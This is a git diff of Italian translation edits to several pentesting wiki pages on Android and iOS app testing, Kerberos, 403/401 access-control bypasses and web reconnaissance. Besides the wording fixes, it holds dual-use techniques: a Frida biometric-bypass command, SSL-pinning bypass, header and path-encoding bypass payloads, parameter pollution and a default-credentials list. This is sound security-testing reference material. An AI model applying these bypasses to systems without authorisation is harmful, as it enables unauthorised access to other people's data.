-Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
+Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
 
 **Log di crash**
 
-Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza.
+Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che siano inviati tramite un canale SSL per la sicurezza.
 
 Come pentester, **cerca di dare un'occhiata a questi log**.
 
-**Dati di analisi inviati a terze parti**
+**Dati analitici inviati a terzi**
 
-Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
+Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
 
 ### DB SQLite
 
@@ -307,7 +307,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
 
 **Bypass dell'autorizzazione**
 
-Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**.
+Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
 
 [**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
 
@@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 
 #### Tapjacking
 
-Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).
+Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
 
 ### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
 
@@ -351,7 +351,7 @@ Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarl
 [**Leggi questo se vuoi rinfrescare cosa è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
 Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`.
 
-Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il ricevitore gestisce il messaggio, potrebbe essere vulnerabile.\
+Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
 [**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Sfruttare Schemi / Deep links**
@@ -390,7 +390,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
 ### Ispezione e verifiche del livello di trasporto
 
 - **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
-- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
+- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite di cifratura insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
 - **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
 
 #### Verifica del certificato
@@ -423,11 +423,11 @@ Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionar
 
 ### Frida
 
-[Frida](https://www.frida.re) è un toolkit di strumentazione dinamica per sviluppatori, ingegneri inversi e ricercatori di sicurezza.\
+[Frida](https://www.frida.re) è un toolkit di strumentazione dinamica per sviluppatori, reverse-engineer e ricercatori di sicurezza.\
 **Puoi accedere all'applicazione in esecuzione e agganciare metodi in tempo reale per cambiare il comportamento, cambiare valori, estrarre valori, eseguire codice diverso...**\
 Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
 
-- Impara a usare Frida: [**Frida tutorial**](frida-tutorial/)
+- Impara a usare Frida: [**Frida tutorial**](frida-tutorial/index.html)
 - Alcuni "GUI" per azioni con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 - Ojection è ottimo per automatizzare l'uso di Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Puoi trovare alcuni fantastici script Frida qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@@ -435,7 +435,7 @@ Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
 
 ### **Dump della memoria - Fridump**
 
-Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemonici.
+Controlla se l'applicazione sta memorizzando informazioni sensibili all'interno della memoria che non dovrebbe memorizzare, come password o mnemonici.
 
 Utilizzando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi dumpare la memoria dell'app con:
 ```bash
@@ -468,7 +468,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 ```
 ### **Immagini di Sfondo**
 
-Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
+Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che quando viene ripristinata in primo piano inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
 
 Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che è necessario avere i permessi di root per accedervi).
 
@@ -480,7 +480,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
 ### **Analizzatore di Applicazioni Android**
 
-Questo strumento potrebbe aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+Questo strumento può aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Iniezione di Intent
 
@@ -497,13 +497,13 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
 
 ### Iniezioni lato Client Android e altri
 
-Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'applicazione Android:
+Probabilmente conosci questo tipo di vulnerabilità dal web. Devi essere particolarmente attento a queste vulnerabilità in un'applicazione Android:
 
 - **Iniezione SQL:** Quando gestisci query dinamiche o Content-Providers assicurati di utilizzare query parametrizzate.
-- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
-- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
-- **Cookie Eterni**: In diversi casi, quando l'applicazione android termina la sessione, il cookie non viene revocato o potrebbe essere persino salvato su disco.
-- [**Secure Flag** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
+- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
+- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
+- **Cookie Eterni**: In diversi casi, quando l'applicazione Android termina la sessione, il cookie non viene revocato o potrebbe persino essere salvato su disco.
+- [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
 
@@ -534,11 +534,11 @@ L'**analizzatore dinamico MobSF** può:
 - Catturare il **traffico HTTPS**
 - Usare **Frida** per ottenere **informazioni** **runtime**
 
-Dalla versione **Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni di **proxy** globali per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
+Dalla versione **Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni del **proxy** globale per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
 
 **Frida**
 
-Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypassare SSL pinning**, **rilevamento root** e **rilevamento debugger** e per **monitorare API interessanti**.\
+Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypassare il pinning SSL**, **rilevamento del root** e **rilevamento del debugger** e per **monitorare API interessanti**.\
 MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
 
 Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
@@ -647,7 +647,7 @@ androbugs.exe -f [APK file]
 
 **Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
 
-Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
+Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
 
 Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
 ```
@@ -689,9 +689,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
 (Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era:
 
 - caricare una risorsa come InputStream;
-- fornire il risultato a una classe che eredita da FilterInputStream per decrittarlo;
+- fornire il risultato a una classe che eredita da FilterInputStream per decrittografarlo;
 - fare un po' di offuscazione inutile per far perdere qualche minuto di tempo a un reverser;
-- fornire il risultato decrittato a un ZipInputStream per ottenere un file DEX;
+- fornire il risultato decrittografato a un ZipInputStream per ottenere un file DEX;
 - infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`.
 
 ### [DeGuard](http://apk-deguard.com)
@@ -700,9 +700,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
 
 Puoi caricare un APK offuscato sulla loro piattaforma.
 
-### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
+### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 
-Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Google Gemini.
+Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini.
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 

src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -1,4 +1,4 @@
-# Operazioni di Test di Base per iOS
+# Operazioni di Test di Base su iOS
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -38,7 +38,7 @@ L'accesso **SSH** è abilitato installando il **pacchetto OpenSSH** dopo il jail
 $ iproxy 2222 22
 $ ssh -p 2222 root@localhost
 ```
-**Applicazioni shell on-device**, come NewTerm 2, facilitano l'interazione diretta con il dispositivo, particolarmente utili per la risoluzione dei problemi. **Shell SSH inverse** possono anche essere stabilite per l'accesso remoto dal computer host.
+**Applicazioni shell su dispositivo**, come NewTerm 2, facilitano l'interazione diretta con il dispositivo, particolarmente utili per la risoluzione dei problemi. **Shell SSH inverse** possono anche essere stabilite per l'accesso remoto dal computer host.
 
 ### **Reimpostazione delle Password Dimenticate**
 
@@ -48,7 +48,7 @@ Per reimpostare una password dimenticata al valore predefinito (`alpine`), è ne
 
 ### **Trasferimento di File Dati dell'App**
 
-**Archiviazione e Recupero tramite SSH e SCP:** È semplice archiviare la directory Data dell'applicazione utilizzando `tar` e poi trasferirla usando `scp`. Il comando qui sotto archivia la directory Data in un file .tgz, che viene poi prelevato dal dispositivo:
+**Archiviazione e Recupero tramite SSH e SCP:** È semplice archiviare la directory Data dell'applicazione utilizzando `tar` e poi trasferirla usando `scp`. Il comando qui sotto archivia la directory Data in un file .tgz, che viene poi estratto dal dispositivo:
 ```bash
 tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
 exit
@@ -70,7 +70,7 @@ file download <filename>
 
 ### **Acquisire il File IPA**
 
-**Link di Distribuzione Over-The-Air (OTA):** Le app distribuite per il testing tramite OTA possono essere scaricate utilizzando lo strumento di download delle risorse ITMS, che è installato tramite npm e utilizzato per salvare il file IPA localmente.
+**Link di Distribuzione Over-The-Air (OTA):** Le app distribuite per il testing tramite OTA possono essere scaricate utilizzando lo strumento di download degli asset dei servizi ITMS, che è installato tramite npm e utilizzato per salvare il file IPA localmente.
 ```bash
 npm install -g itms-services
 itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 
 ### **Processo di Decrittografia**
 
-**Panoramica della Decrittografia Manuale:** I binari delle app iOS sono crittografati da Apple utilizzando FairPlay. Per fare reverse-engineering, è necessario estrarre il binario decrittografato dalla memoria. Il processo di decrittografia prevede il controllo del flag PIE, l'aggiustamento dei flag di memoria, l'identificazione della sezione crittografata e poi l'estrazione e la sostituzione di questa sezione con la sua forma decrittografata.
+**Panoramica della Decrittografia Manuale:** I binari delle app iOS sono crittografati da Apple utilizzando FairPlay. Per fare reverse-engineering, è necessario estrarre il binario decrittografato dalla memoria. Il processo di decrittografia prevede il controllo del flag PIE, la modifica dei flag di memoria, l'identificazione della sezione crittografata e poi l'estrazione e la sostituzione di questa sezione con la sua forma decrittografata.
 
 **Controllo e Modifica del Flag PIE:**
 ```bash
@@ -103,7 +103,7 @@ Sostituisci la sezione cifrata nel binario originale dell'app con il dump decrit
 ```bash
 dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 ```
-**Finalizzazione della Decrittazione:** Modifica i metadati del binario per indicare l'assenza di crittografia utilizzando strumenti come **MachOView**, impostando il `cryptid` a 0.
+**Finalizzazione della Decrittazione:** Modifica i metadati del binario per indicare l'assenza di crittografia utilizzando strumenti come **MachOView**, impostando `cryptid` a 0.
 
 ### **Decrittazione (Automatica)**
 
@@ -164,7 +164,7 @@ Per installare applicazioni specifiche per iPad su dispositivi iPhone o iPod tou
 
 ## Riferimenti
 
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

src/network-services-pentesting/pentesting-kerberos-88/README.md

@@ -8,14 +8,14 @@
 
 In ambienti come **Active Directory**, **Kerberos** è strumentale nell'estabilire l'identità degli utenti convalidando le loro password segrete. Questo processo garantisce che l'identità di ogni utente sia confermata prima che interagiscano con le risorse di rete. Tuttavia, **Kerberos** non estende la sua funzionalità per valutare o far rispettare i permessi che un utente ha su risorse o servizi specifici. Invece, fornisce un modo sicuro per autenticare gli utenti, che è un passo critico nel processo di sicurezza.
 
-Dopo l'autenticazione da parte di **Kerberos**, il processo decisionale riguardante l'accesso alle risorse è delegato ai singoli servizi all'interno della rete. Questi servizi sono quindi responsabili della valutazione dei diritti e dei permessi dell'utente autenticato, basandosi sulle informazioni fornite da **Kerberos** riguardo ai privilegi dell'utente. Questo design consente una separazione delle preoccupazioni tra l'autenticazione dell'identità degli utenti e la gestione dei loro diritti di accesso, consentendo un approccio più flessibile e sicuro alla gestione delle risorse nelle reti distribuite.
+Dopo l'autenticazione da parte di **Kerberos**, il processo decisionale riguardante l'accesso alle risorse è delegato ai singoli servizi all'interno della rete. Questi servizi sono quindi responsabili della valutazione dei diritti e dei permessi dell'utente autenticato, basandosi sulle informazioni fornite da **Kerberos** riguardo ai privilegi dell'utente. Questo design consente una separazione delle preoccupazioni tra l'autenticazione dell'identità degli utenti e la gestione dei loro diritti di accesso, abilitando un approccio più flessibile e sicuro alla gestione delle risorse nelle reti distribuite.
 
 **Porta Predefinita:** 88/tcp/udp
 ```
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Per imparare ad abusare di Kerberos dovresti leggere il post su** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
+### **Per imparare a sfruttare Kerberos dovresti leggere il post su** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
 
 ## Maggiori informazioni
 

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -1,20 +1,20 @@
-# 403 & 401 Bypass
+# 403 & 401 Bypasses
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Fuzzing dei Verbi/Metodi HTTP
+## HTTP Verbs/Methods Fuzzing
 
-Prova a usare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
+Prova a utilizzare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
 - Controlla le intestazioni della risposta, forse alcune informazioni possono essere fornite. Ad esempio, una **risposta 200** a **HEAD** con `Content-Length: 55` significa che il **verbo HEAD può accedere alle informazioni**. Ma devi comunque trovare un modo per esfiltrare quelle informazioni.
-- Usare un'intestazione HTTP come `X-HTTP-Method-Override: PUT` può sovrascrivere il verbo utilizzato.
+- Utilizzare un'intestazione HTTP come `X-HTTP-Method-Override: PUT` può sovrascrivere il verbo utilizzato.
 - Usa il verbo **`TRACE`** e se sei molto fortunato, forse nella risposta puoi vedere anche le **intestazioni aggiunte da proxy intermedi** che potrebbero essere utili.
 
-## Fuzzing delle Intestazioni HTTP
+## HTTP Headers Fuzzing
 
 - **Cambia l'intestazione Host** in un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
-- Prova a [**usare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
-- **Fuzz Intestazioni HTTP**: prova a usare le **intestazioni** del proxy HTTP, l'autenticazione HTTP di base e il brute-force NTLM (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+- Prova a [**utilizzare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
+- **Fuzz HTTP Headers**: prova a utilizzare le **intestazioni HTTP Proxy**, l'autenticazione HTTP Basic e NTLM brute-force (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -30,23 +30,23 @@ Prova a usare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT, DEL
 - `X-ProxyUser-Ip: 127.0.0.1`
 - `Host: localhost`
 
-Se il **percorso è protetto**, puoi provare a bypassare la protezione del percorso usando queste altre intestazioni:
+Se il **percorso è protetto**, puoi provare a bypassare la protezione del percorso utilizzando queste altre intestazioni:
 
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**intestazioni hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
-- Fuzz [**intestazioni HTTP speciali**](special-http-headers.md) cercando risposte diverse.
-- **Fuzz intestazioni HTTP speciali** mentre fai fuzzing **metodi HTTP**.
+- Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Fuzz [**special HTTP headers**](special-http-headers.md) cercando risposte diverse.
+- **Fuzz special HTTP headers** mentre fuzzing **HTTP Methods**.
 - **Rimuovi l'intestazione Host** e forse sarai in grado di bypassare la protezione.
 
-## **Fuzzing del Percorso**
+## Path **Fuzzing**
 
 Se _/path_ è bloccato:
 
-- Prova a usare _**/**_**%2e/path \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/path (doppia codifica URL)
+- Prova a utilizzare _**/**_**%2e/path \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/path (doppia codifica URL)
 - Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati in URL sono come "/") quindi quando vengono ricodificati tornerà a essere _//path_ e forse avrai già bypassato il controllo del nome _/path_
-- **Altri bypass del percorso**:
+- **Altri bypass di percorso**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
 - site.com/secret/ –> HTTP 200 OK
@@ -71,20 +71,20 @@ Se _/path_ è bloccato:
 - {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
 - user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
 
-## **Manipolazione dei Parametri**
+## **Parameter Manipulation**
 
-- Cambia il **valore del param**: Da **`id=123` --> `id=124`**
+- Cambia il **valore del parametro**: Da **`id=123` --> `id=124`**
 - Aggiungi parametri aggiuntivi all'URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
 - Rimuovi i parametri
 - Riordina i parametri
 - Usa caratteri speciali.
 - Esegui test di confine nei parametri — fornisci valori come _-234_ o _0_ o _99999999_ (solo alcuni valori di esempio).
 
-## **Versione del Protocollo**
+## **Protocol version**
 
-Se usi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**.
+Se utilizzi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**.
 
-## **Altri Bypass**
+## **Other Bypasses**
 
 - Ottieni l'**IP** o il **CNAME** del dominio e prova a **contattarlo direttamente**.
 - Prova a **stressare il server** inviando richieste GET comuni ([Ha funzionato per questo ragazzo con Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
@@ -93,8 +93,8 @@ Se usi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**.
 
 ## **Brute Force**
 
-- **Indovina la password**: Testa le seguenti credenziali comuni. Sai qualcosa sulla vittima? O il nome della sfida CTF?
-- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prova autenticazione di base, digest e NTLM.
+- **Indovina la password**: Testa le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
+- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prova autenticazioni basic, digest e NTLM.
 ```:Common creds
 admin    admin
 admin    password

src/network-services-pentesting/pentesting-web/README.md

@@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Cerca **per** [**vulnerabilità dell'applicazione web** **versione**](../../generic-hacking/search-exploits.md)
+Cerca **vulnerabilità dell'applicazione web** **versione**](../../generic-hacking/search-exploits.md)
 
 ### **Controlla se ci sono WAF**
 
@@ -69,15 +69,15 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
 - [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
 - [**GraphQL**](graphql.md)
-- [**H2 - Java SQL database**](h2-java-sql-database.md)
-- [**IIS tricks**](iis-internet-information-services.md)
+- [**H2 - database SQL Java**](h2-java-sql-database.md)
+- [**Trucchi IIS**](iis-internet-information-services.md)
 - [**JBOSS**](jboss.md)
 - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
 - [**Jira**](jira.md)
@@ -86,24 +86,24 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
-- [**PHP (php ha molti trucchi interessanti che potrebbero essere sfruttati)**](php-tricks-esp/)
+- [**PHP (php ha molti trucchi interessanti che potrebbero essere sfruttati)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
 - [**VMWare**](vmware-esx-vcenter....md)
 - [**Web API Pentesting**](web-api-pentesting.md)
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/index.html)
 
-_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\
-Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata prima** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
+_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** in **porte**, **cartelle** e **sottodomini** diversi._\
+Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
 
 ### Revisione del codice sorgente
 
-Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
+Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un test **White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
 
 - C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web?
 - Come e dove sono salvate le **credenziali**? C'è qualche **file** (accessibile?) con credenziali (nomi utente o password)?
@@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 
 Se viene utilizzato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di succoso:
 
